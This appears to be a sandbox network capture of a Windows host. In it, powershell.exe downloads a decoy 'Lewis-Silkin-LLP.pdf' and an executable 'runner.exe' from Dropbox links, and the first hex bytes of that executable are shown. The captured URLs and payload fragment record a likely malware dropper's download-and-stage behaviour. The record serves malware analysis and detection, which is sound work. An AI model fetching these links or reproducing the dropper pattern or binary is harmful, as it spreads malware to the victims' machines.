2024-12-19 12:44:37 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-12-19 12:44:37 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-12-19 12:44:37 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Thu, 19 Dec 2024 12:44:37 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8f477c2fda758ce6-EWR alt-svc: h3=":443"; ma=86400
2024-12-19 12:44:37 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 24 00 04 8e fb 28 c3 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom$()

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.7	49795	162.125.69.18	443	9024	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 12:44:38 UTC	246	OUT	GET /scl/fi/dgiur64vawmdx9alqw6et/Lewis-Silkin-LLP.pdf?rlkey=kduhqrnp00rj44rjeppuw31qk&dl=1 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: www.dropbox.com Connection: Keep-Alive
2024-12-19 12:44:39 UTC	3872	IN	HTTP/1.1 200 OK Content-Security-Policy: report-uri https://www.dropbox.com/csp_log?policy_name=metaserver-whitelist ; object-src 'self' https://cfl.dropboxstatic.com/static/ https://www.dropboxstatic.com/static/ ; default-src https://www.dropbox.com/playlist/ https://www.dropbox.com/v/s/playlist/ https://.dropboxusercontent.com/p/hls_master_playlist/ https://.dropboxusercontent.com/p/hls_playlist/ ; media-src https://* blob: ; script-src 'unsafe-eval' 'inline-speculation-rules' https://www.dropbox.com/static/api/ https://www.dropbox.com/pithos/* https://www.dropbox.com/page_success/ https://cfl.dropboxstatic.com/static/ https://www.dropboxstatic.com/static/ https://accounts.google.com/gsi/client https://canny.io/sdk.js https://www.paypal.com/sdk/js https://www.google.com/recaptcha/ https://www.gstatic.com/recaptcha/ 'unsafe-inline' ; worker-src https://www.dropbox.com/static/serviceworker/ https://www.dropbox.com/encrypted_folder_download/service_worker.js https://www.dropbox.com/service_worker.js blob: ; connect-src http [TRUNCATED] Content-Type: text/html; charset=utf-8 Pragma: no-cache Referrer-Policy: strict-origin-when-cross-origin Set-Cookie: gvc=ODQzNDczMjM3NjY0Nzg1NDU1MTI5NDczNDA2NDE2NTMzOTIzNTc=; Path=/; Expires=Tue, 18 Dec 2029 12:44:39 GMT; HttpOnly; Secure; SameSite=None Set-Cookie: t=5nZXox6AKFUijeav3hOSJxBx; Path=/; Domain=dropbox.com; Expires=Fri, 19 Dec 2025 12:44:39 GMT; HttpOnly; Secure; SameSite=None Set-Cookie: __Host-js_csrf=5nZXox6AKFUijeav3hOSJxBx; Path=/; Expires=Fri, 19 Dec 2025 12:44:39 GMT; Secure; SameSite=None Set-Cookie: __Host-ss=IHCICkonWc; Path=/; Expires=Fri, 19 Dec 2025 12:44:39 GMT; HttpOnly; Secure; SameSite=Strict Set-Cookie: locale=en; Path=/; Domain=dropbox.com; Expires=Tue, 18 Dec 2029 12:44:39 GMT X-Content-Type-Options: nosniff X-Permitted-Cross-Domain-Policies: none X-Robots-Tag: noindex, nofollow, noimageindex X-Xss-Protection: 1; mode=block Date: Thu, 19 Dec 2024 12:44:39 GMT Strict-Transport-Security: max-age=31536000; includeSubDomains Server: envoy Cache-Control: no-cache, no-store Vary: Accept-Encoding X-Dropbox-Response-Origin: far_remote X-Dropbox-Request-Id: 1397dd2c0d3841b89917dcec34ee69d4 Connection: close Transfer-Encoding: chunked
2024-12-19 12:44:39 UTC	591	IN	Data Raw: 36 34 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6d 61 65 73 74 72 6f 20 67 6c 6f 62 61 6c 2d 68 65 61 64 65 72 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 0d 0a 36 0d 0a 3c 68 65 61 64 3e 0d 0a 31 39 0d 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 0a 0d 0a 34 31 0d 0a 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 2c 20 6e 6f 69 6d 61 67 65 69 6e 64 65 78 22 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 2f 3e 0a 0d 0a 34 37 0d 0a 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 Data Ascii: 64<!DOCTYPE html><html class="maestro global-header" xmlns="http://www.w3.org/1999/xhtml" lang="en">6<head>19<meta charset="utf-8" />41<meta content="noindex, nofollow, noimageindex" name="robots" />47<meta content="width=device-widt
2024-12-19 12:44:39 UTC	358	IN	Data Raw: 61 37 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 6c 6f 61 64 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 66 6c 2e 64 72 6f 70 62 6f 78 73 74 61 74 69 63 2e 63 6f 6d 2f 73 74 61 74 69 63 2f 6a 73 2f 63 6f 6d 6d 65 6e 74 73 32 2f 69 6e 64 65 78 2d 76 66 6c 51 64 76 55 48 75 2e 63 73 73 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 20 61 73 3d 22 73 74 79 6c 65 22 20 64 61 74 61 2d 6c 6f 61 64 65 72 3d 22 64 62 78 5f 65 64 69 73 6f 6e 5f 70 61 67 65 5b 72 65 71 75 65 73 74 65 64 5f 63 73 73 5d 22 2f 3e 0a 0d 0a 62 33 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 6c 6f 61 64 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 66 6c 2e 64 72 6f 70 62 6f 78 73 74 61 74 69 63 2e 63 6f 6d 2f 73 74 61 74 69 63 2f 6d 65 74 61 73 65 72 76 65 72 2f 73 74 61 74 Data Ascii: a7<link rel="preload" href="https://cfl.dropboxstatic.com/static/js/comments2/index-vflQdvUHu.css" crossorigin as="style" data-loader="dbx_edison_page[requested_css]"/>b3<link rel="preload" href="https://cfl.dropboxstatic.com/static/metaserver/stat
2024-12-19 12:44:39 UTC	216	IN	Data Raw: 64 32 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 6c 6f 61 64 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 66 6c 2e 64 72 6f 70 62 6f 78 73 74 61 74 69 63 2e 63 6f 6d 2f 73 74 61 74 69 63 2f 74 79 70 65 73 63 72 69 70 74 2f 63 6f 6d 70 6f 6e 65 6e 74 5f 6c 69 62 72 61 72 69 65 73 2f 64 69 67 2d 65 78 70 65 72 69 6d 65 6e 74 61 6c 2f 73 72 63 2f 69 6e 64 65 78 2e 77 65 62 2d 76 66 6c 4d 67 6b 56 33 4b 2e 63 73 73 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 20 61 73 3d 22 73 74 79 6c 65 22 20 64 61 74 61 2d 6c 6f 61 64 65 72 3d 22 64 62 78 5f 65 64 69 73 6f 6e 5f 70 61 67 65 5b 72 65 71 75 65 73 74 65 64 5f 63 73 73 5d 22 2f 3e 0a 0d 0a Data Ascii: d2<link rel="preload" href="https://cfl.dropboxstatic.com/static/typescript/component_libraries/dig-experimental/src/index.web-vflMgkV3K.css" crossorigin as="style" data-loader="dbx_edison_page[requested_css]"/>
2024-12-19 12:44:39 UTC	1326	IN	Data Raw: 63 32 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 6c 6f 61 64 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 66 6c 2e 64 72 6f 70 62 6f 78 73 74 61 74 69 63 2e 63 6f 6d 2f 73 74 61 74 69 63 2f 6d 65 74 61 73 65 72 76 65 72 2f 73 74 61 74 69 63 2f 63 73 73 2f 6d 61 65 73 74 72 6f 5f 61 70 70 73 68 65 6c 6c 5f 73 74 79 6c 65 73 2d 76 66 6c 66 4e 4e 4c 56 35 2e 63 73 73 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 20 61 73 3d 22 73 74 79 6c 65 22 20 64 61 74 61 2d 6c 6f 61 64 65 72 3d 22 64 62 78 5f 65 64 69 73 6f 6e 5f 70 61 67 65 5b 72 65 71 75 65 73 74 65 64 5f 63 73 73 5d 22 2f 3e 0a 0d 0a 63 33 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 6c 6f 61 64 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 66 6c 2e 64 72 6f 70 62 6f 78 73 74 61 74 69 63 Data Ascii: c2<link rel="preload" href="https://cfl.dropboxstatic.com/static/metaserver/static/css/maestro_appshell_styles-vflfNNLV5.css" crossorigin as="style" data-loader="dbx_edison_page[requested_css]"/>c3<link rel="preload" href="https://cfl.dropboxstatic
2024-12-19 12:44:39 UTC	974	IN	Data Raw: 62 39 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 6c 6f 61 64 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 66 6c 2e 64 72 6f 70 62 6f 78 73 74 61 74 69 63 2e 63 6f 6d 2f 73 74 61 74 69 63 2f 6d 65 74 61 73 65 72 76 65 72 2f 73 74 61 74 69 63 2f 63 73 73 2f 67 6f 6f 67 6c 65 5f 6f 6e 65 5f 74 61 70 2d 76 66 6c 70 39 58 44 4c 4a 2e 63 73 73 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 20 61 73 3d 22 73 74 79 6c 65 22 20 64 61 74 61 2d 6c 6f 61 64 65 72 3d 22 64 62 78 5f 65 64 69 73 6f 6e 5f 70 61 67 65 5b 72 65 71 75 65 73 74 65 64 5f 63 73 73 5d 22 2f 3e 0a 0d 0a 62 35 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 6c 6f 61 64 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 66 6c 2e 64 72 6f 70 62 6f 78 73 74 61 74 69 63 2e 63 6f 6d 2f 73 74 61 74 Data Ascii: b9<link rel="preload" href="https://cfl.dropboxstatic.com/static/metaserver/static/css/google_one_tap-vflp9XDLJ.css" crossorigin as="style" data-loader="dbx_edison_page[requested_css]"/>b5<link rel="preload" href="https://cfl.dropboxstatic.com/stat
2024-12-19 12:44:39 UTC	206	IN	Data Raw: 63 38 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 6c 6f 61 64 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 66 6c 2e 64 72 6f 70 62 6f 78 73 74 61 74 69 63 2e 63 6f 6d 2f 73 74 61 74 69 63 2f 6d 65 74 61 73 65 72 76 65 72 2f 73 74 61 74 69 63 2f 63 73 73 2f 61 62 75 73 65 2f 66 69 6e 67 65 72 70 72 69 6e 74 6a 73 5f 63 6f 6d 70 6f 6e 65 6e 74 2d 76 66 6c 54 69 7a 41 6b 66 2e 63 73 73 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 20 61 73 3d 22 73 74 79 6c 65 22 20 64 61 74 61 2d 6c 6f 61 64 65 72 3d 22 64 62 78 5f 65 64 69 73 6f 6e 5f 70 61 67 65 5b 72 65 71 75 65 73 74 65 64 5f 63 73 73 5d 22 2f 3e 0a 0d 0a Data Ascii: c8<link rel="preload" href="https://cfl.dropboxstatic.com/static/metaserver/static/css/abuse/fingerprintjs_component-vflTizAkf.css" crossorigin as="style" data-loader="dbx_edison_page[requested_css]"/>
2024-12-19 12:44:39 UTC	1311	IN	Data Raw: 64 30 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 6c 6f 61 64 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 66 6c 2e 64 72 6f 70 62 6f 78 73 74 61 74 69 63 2e 63 6f 6d 2f 73 74 61 74 69 63 2f 74 79 70 65 73 63 72 69 70 74 2f 63 6f 6d 70 6f 6e 65 6e 74 5f 6c 69 62 72 61 72 69 65 73 2f 64 77 67 2d 63 6f 6d 70 6f 6e 65 6e 74 73 2f 73 72 63 2f 69 6e 64 65 78 2e 77 65 62 2d 76 66 6c 32 66 54 32 48 63 2e 63 73 73 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 20 61 73 3d 22 73 74 79 6c 65 22 20 64 61 74 61 2d 6c 6f 61 64 65 72 3d 22 64 62 78 5f 65 64 69 73 6f 6e 5f 70 61 67 65 5b 72 65 71 75 65 73 74 65 64 5f 63 73 73 5d 22 2f 3e 0a 0d 0a 36 65 0d 0a 3c 73 63 72 69 70 74 20 6e 6f 6e 63 65 3d 22 32 77 34 56 49 44 58 61 50 56 78 79 78 44 58 46 56 6b 72 79 33 6b Data Ascii: d0<link rel="preload" href="https://cfl.dropboxstatic.com/static/typescript/component_libraries/dwg-components/src/index.web-vfl2fT2Hc.css" crossorigin as="style" data-loader="dbx_edison_page[requested_css]"/>6e<script nonce="2w4VIDXaPVxyxDXFVkry3k
2024-12-19 12:44:39 UTC	11	IN	Data Raw: 36 0d 0a 3c 62 6f 64 79 3e 0d 0a Data Ascii: 6<body>
2024-12-19 12:44:40 UTC	4104	IN	Data Raw: 31 30 30 30 0d 0a 3c 73 63 72 69 70 74 20 6e 6f 6e 63 65 3d 22 32 77 34 56 49 44 58 61 50 56 78 79 78 44 58 46 56 6b 72 79 33 6b 4e 4d 6d 44 77 3d 22 3e 77 69 6e 64 6f 77 2e 5f 5f 53 45 52 56 45 44 5f 42 59 5f 45 44 49 53 4f 4e 5f 57 45 42 5f 53 45 52 56 45 52 5f 5f 20 3d 20 74 72 75 65 3b 0a 76 61 72 20 72 65 71 75 69 72 65 43 6f 6e 66 69 67 20 3d 20 7b 22 62 61 73 65 55 72 6c 22 3a 20 22 68 74 74 70 73 3a 2f 2f 63 66 6c 2e 64 72 6f 70 62 6f 78 73 74 61 74 69 63 2e 63 6f 6d 2f 22 2c 20 22 77 61 69 74 53 65 63 6f 6e 64 73 22 3a 20 33 30 2c 20 22 70 61 74 68 73 22 3a 20 7b 22 61 74 6c 61 73 2f 66 69 6c 65 5f 76 69 65 77 65 72 2f 73 63 6c 5f 6f 62 6f 65 5f 66 69 6c 65 5f 62 75 6e 64 6c 65 5f 61 6d 64 2f 64 69 73 74 2f 63 5f 61 62 75 73 65 5f 66 75 6e 63 61 Data Ascii: 1000<script nonce="2w4VIDXaPVxyxDXFVkry3kNMmDw=">window.__SERVED_BY_EDISON_WEB_SERVER__ = true;var requireConfig = {"baseUrl": "https://cfl.dropboxstatic.com/", "waitSeconds": 30, "paths": {"atlas/file_viewer/scl_oboe_file_bundle_amd/dist/c_abuse_funca
2024-12-19 12:44:40 UTC	16384	IN	Data Raw: 34 30 30 30 0d 0a 73 74 61 74 69 63 2f 61 74 6c 61 73 2f 66 69 6c 65 5f 76 69 65 77 65 72 2f 73 63 6c 5f 6f 62 6f 65 5f 66 69 6c 65 5f 62 75 6e 64 6c 65 5f 61 6d 64 2f 64 69 73 74 2f 63 5f 61 63 74 69 6f 6e 73 5f 64 6f 77 6e 6c 6f 61 64 5f 61 70 70 5f 6d 6f 64 61 6c 5f 6d 6f 64 61 6c 2d 76 66 6c 34 61 6e 79 6e 33 22 2c 20 22 61 74 6c 61 73 2f 66 69 6c 65 5f 76 69 65 77 65 72 2f 73 63 6c 5f 6f 62 6f 65 5f 66 69 6c 65 5f 62 75 6e 64 6c 65 5f 61 6d 64 2f 64 69 73 74 2f 63 5f 61 63 74 69 76 61 74 69 6f 6e 5f 64 61 74 61 5f 73 6c 69 63 65 73 22 3a 20 22 73 74 61 74 69 63 2f 61 74 6c 61 73 2f 66 69 6c 65 5f 76 69 65 77 65 72 2f 73 63 6c 5f 6f 62 6f 65 5f 66 69 6c 65 5f 62 75 6e 64 6c 65 5f 61 6d 64 2f 64 69 73 74 2f 63 5f 61 63 74 69 76 61 74 69 6f 6e 5f 64 61 Data Ascii: 4000static/atlas/file_viewer/scl_oboe_file_bundle_amd/dist/c_actions_download_app_modal_modal-vfl4anyn3", "atlas/file_viewer/scl_oboe_file_bundle_amd/dist/c_activation_data_slices": "static/atlas/file_viewer/scl_oboe_file_bundle_amd/dist/c_activation_da

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.7	49828	162.125.69.18	443	9024	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 12:44:43 UTC	212	OUT	GET /scl/fi/uv9rtex94bi18x6hfwnvm/runner.exe?rlkey=ohh5enlv6dylr9jqxqwsffkja&dl=1 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: www.dropbox.com
2024-12-19 12:44:44 UTC	4091	IN	HTTP/1.1 302 Found Content-Security-Policy: object-src 'self' https://cfl.dropboxstatic.com/static/ https://www.dropboxstatic.com/static/ ; font-src https://* data: ; connect-src https://* ws://127.0.0.1:/ws blob: wss://dsimports.dropbox.com/ ; form-action https://docs.google.com/document/fsip/ https://docs.google.com/spreadsheets/fsip/ https://docs.google.com/presentation/fsip/ https://docs.sandbox.google.com/document/fsip/ https://docs.sandbox.google.com/spreadsheets/fsip/ https://docs.sandbox.google.com/presentation/fsip/ https://.purple.officeapps.live-int.com https://officeapps-df.live.com https://.officeapps-df.live.com https://officeapps.live.com https://.officeapps.live.com https://paper.dropbox.com/cloud-docs/edit 'self' https://www.dropbox.com/ https://dl-web.dropbox.com/ https://photos.dropbox.com/ https://paper.dropbox.com/ https://showcase.dropbox.com/ https://www.hellofax.com/ https://app.hellofax.com/ https://www.hellosign.com/ https://app.hellosign.com/ https://docsend.com/ https://www.docsend.com/ https://h [TRUNCATED] Content-Type: text/html; charset=utf-8 Location: https://uc80703d35970dc7916212c2d7a8.dl.dropboxusercontent.com/cd/0/get/Cghd1jtLzGlJHKX-9xdPSYuTZVa37wT-hKvzNwSKnDfcuTKM7PpJ3fe1T3Rhm5pJVOamwDQ01obtQghBpb5sSp1qX3zxHKKcvFL8SbBiC1Bb6wiCWr5k1eO0o7hRyobnrH005C9TEHaeAXCntddfSkcf/file?dl=1# Pragma: no-cache Referrer-Policy: strict-origin-when-cross-origin Set-Cookie: gvc=MTc3ODcwMDAyMjA1Mzk4NzYxMjUxNjE4OTg0NDQyODYxMjYzNzE1; Path=/; Expires=Tue, 18 Dec 2029 12:44:43 GMT; HttpOnly; Secure; SameSite=None Set-Cookie: t=b-hb4D0JMARcTtkSNSrQFK19; Path=/; Domain=dropbox.com; Expires=Fri, 19 Dec 2025 12:44:43 GMT; HttpOnly; Secure; SameSite=None Set-Cookie: __Host-js_csrf=b-hb4D0JMARcTtkSNSrQFK19; Path=/; Expires=Fri, 19 Dec 2025 12:44:43 GMT; Secure; SameSite=None Set-Cookie: __Host-ss=xe1-XdX9mI; Path=/; Expires=Fri, 19 Dec 2025 12:44:43 GMT; HttpOnly; Secure; SameSite=Strict Set-Cookie: locale=en; Path=/; Domain=dropbox.com; Expires=Tue, 18 Dec 2029 12:44:43 GMT X-Content-Type-Options: nosniff X-Permitted-Cross-Domain-Policies: none X-Robots-Tag: noindex, nofollow, noimageindex X-Xss-Protection: 1; mode=block Content-Length: 17 Date: Thu, 19 Dec 2024 12:44:43 GMT Strict-Transport-Security: max-age=31536000; includeSubDomains Server: envoy Cache-Control: no-cache, no-store X-Dropbox-Response-Origin: far_remote X-Dropbox-Request-Id: 31e19386791c4634ab1fa4fd1b86a221 Connection: close
2024-12-19 12:44:44 UTC	17	IN	Data Raw: 3c 21 2d 2d 73 74 61 74 75 73 3d 33 30 32 2d 2d 3e Data Ascii: ...status=302-->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.7	49841	162.125.4.18	443	7468	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 12:44:44 UTC	1004	OUT	GET /page_success/end?edison_page_name=scl_oboe_file&path=%2Fscl%2Ffi%2Fdgiur64vawmdx9alqw6et%2FLewis-Silkin-LLP.pdf&request_id=d23cbb1880f84f85afefc10443038bea&time=1734612274 HTTP/1.1 Host: www.dropbox.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://www.dropbox.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://www.dropbox.com/scl/fi/dgiur64vawmdx9alqw6et/Lewis-Silkin-LLP.pdf?rlkey=kduhqrnp00rj44rjeppuw31qk&dl=1 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: gvc=MzEwMjM3MzU2NTk3NjIwNDU2OTE5MDY3OTg3NjQ5NTA1MTQ4ODM4; t=HdS8vQAOgoo2pdq3Kdn8X0eJ; __Host-js_csrf=HdS8vQAOgoo2pdq3Kdn8X0eJ; __Host-ss=0FAEIkEix0; locale=en_GB
2024-12-19 12:44:45 UTC	522	IN	HTTP/1.1 200 OK Content-Type: text/javascript X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN X-Server-Response-Time: 2 Date: Thu, 19 Dec 2024 12:44:44 GMT Server: envoy Strict-Transport-Security: max-age=31536000; includeSubDomains X-Dropbox-Is-Upstream-Batch: true Content-Length: 0 Strict-Transport-Security: max-age=31536000; includeSubDomains Cache-Control: no-cache, no-store X-Dropbox-Response-Origin: far_remote X-Dropbox-Request-Id: 337da17dd1c741788e55fe157ae4b829 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.7	49844	162.125.69.15	443	9024	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 12:44:45 UTC	370	OUT	GET /cd/0/get/Cghd1jtLzGlJHKX-9xdPSYuTZVa37wT-hKvzNwSKnDfcuTKM7PpJ3fe1T3Rhm5pJVOamwDQ01obtQghBpb5sSp1qX3zxHKKcvFL8SbBiC1Bb6wiCWr5k1eO0o7hRyobnrH005C9TEHaeAXCntddfSkcf/file?dl=1 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: uc80703d35970dc7916212c2d7a8.dl.dropboxusercontent.com Connection: Keep-Alive
2024-12-19 12:44:46 UTC	738	IN	HTTP/1.1 200 OK Content-Type: application/binary Accept-Ranges: bytes Cache-Control: max-age=60 Content-Disposition: attachment; filename="runner.exe"; filename*=UTF-8''runner.exe Content-Security-Policy: sandbox Etag: 1734611873193801d Pragma: public Referrer-Policy: no-referrer Vary: Origin X-Content-Security-Policy: sandbox X-Content-Type-Options: nosniff X-Robots-Tag: noindex, nofollow, noimageindex X-Server-Response-Time: 209 X-Webkit-Csp: sandbox Date: Thu, 19 Dec 2024 12:44:46 GMT Server: envoy Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Content-Length: 2949120 X-Dropbox-Response-Origin: far_remote X-Dropbox-Request-Id: d8142d23fe5148e985a2e56ea7faa6ca Connection: close
2024-12-19 12:44:46 UTC	15646	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 15 0f d0 df 51 6e be 8c 51 6e be 8c 51 6e be 8c 1a 16 bd 8d 40 6e be 8c 1a 16 bb 8d 91 6e be 8c d1 15 ba 8d 43 6e be 8c d1 15 bd 8d 47 6e be 8c d1 15 bb 8d 0a 6e be 8c df 15 bb 8d 57 6e be 8c 1a 16 ba 8d 4b 6e be 8c 1a 16 b8 8d 50 6e be 8c 1a 16 bf 8d 4c 6e be 8c 51 6e bf 8c 71 6f be 8c df 15 b7 8d 0a 6e be 8c df 15 41 8c 50 6e be 8c 51 6e 29 8c 50 6e be 8c df 15 bc 8d 50 6e be Data Ascii: MZ@!L!This program cannot be run in DOS mode.$QnQnQn@nnCnGnnWnKnPnLnQnqonAPnQn)PnPn
2024-12-19 12:44:47 UTC	16384	IN	Data Raw: 8b e5 5d c3 e8 0a 4d 07 00 cc cc cc cc cc cc cc cc cc c2 00 00 cc cc cc cc cc cc cc cc cc cc cc cc cc 55 8b ec 6a ff 68 10 76 49 00 64 a1 00 00 00 00 50 51 56 a1 14 40 4c 00 33 c5 50 8d 45 f4 64 a3 00 00 00 00 64 a1 2c 00 00 00 8b 08 a1 a0 9e 4c 00 3b 81 04 00 00 00 0f 8e 4d 01 00 00 68 a0 9e 4c 00 e8 63 54 06 00 83 c4 04 83 3d a0 9e 4c 00 ff 0f 85 33 01 00 00 6a 40 6a 00 68 60 9e 4c 00 c7 45 fc 00 00 00 00 e8 04 72 06 00 83 c4 0c c7 05 64 9e 4c 00 00 00 00 00 c7 05 68 9e 4c 00 00 00 00 00 6a 2c e8 0e 50 06 00 83 c4 04 89 00 89 40 04 89 40 08 66 c7 40 0c 01 01 a3 64 9e 4c 00 c6 45 fc 01 b9 70 9e 4c 00 6a 20 68 c8 fa 4a 00 c7 05 70 9e 4c 00 00 00 00 00 c7 05 80 9e 4c 00 00 00 00 00 c7 05 84 9e 4c 00 00 00 00 00 e8 4d d6 ff ff 33 c0 c7 05 88 9e 4c 00 00 00 Data Ascii: ]MUjhvIdPQV@L3PEdd,L;MhLcT=L3j@jh`LErdLhLj,P@@f@dLEpLj hJpLLLM3L
2024-12-19 12:44:47 UTC	738	IN	Data Raw: 07 00 00 00 66 89 8d cc fd ff ff 84 c0 0f 84 a0 03 00 00 0f 57 c0 89 8d f8 fc ff ff 66 0f d6 85 54 fd ff ff 89 8d 54 fd ff ff 89 8d 58 fd ff ff 89 8d 5c fd ff ff c6 45 fc 0d 6a 21 89 8d ec fc ff ff 89 8d 90 fd ff ff 89 8d a0 fd ff ff 89 8d a4 fd ff ff 8d 8d 90 fd ff ff 68 c8 09 4b 00 e8 de 96 ff ff 8d 85 ec fc ff ff c6 45 fc 0e 50 8d 85 f8 fc ff ff 8b cf 50 8d 85 90 fd ff ff 50 8d 85 d8 fd ff ff 50 e8 f7 a2 00 00 50 8d 8d 54 fd ff ff e8 bb 1b 00 00 8b 8d d8 fd ff ff 85 c9 74 58 8b 85 e0 fd ff ff 2b c1 c1 f8 02 8d 14 85 00 00 00 00 8b c1 81 fa 00 10 00 00 72 14 8b 48 fc 83 c2 23 2b c1 83 c0 fc 83 f8 1f 0f 87 ef 10 00 00 52 51 e8 12 10 06 00 83 c4 08 c7 85 d8 fd ff ff 00 00 00 00 c7 85 dc fd ff ff 00 00 00 00 c7 85 e0 fd ff ff 00 00 00 00 c6 45 fc 0d 8b 8d Data Ascii: fWfTTX\Ej!hKEPPPPPTtX+rH#+RQE
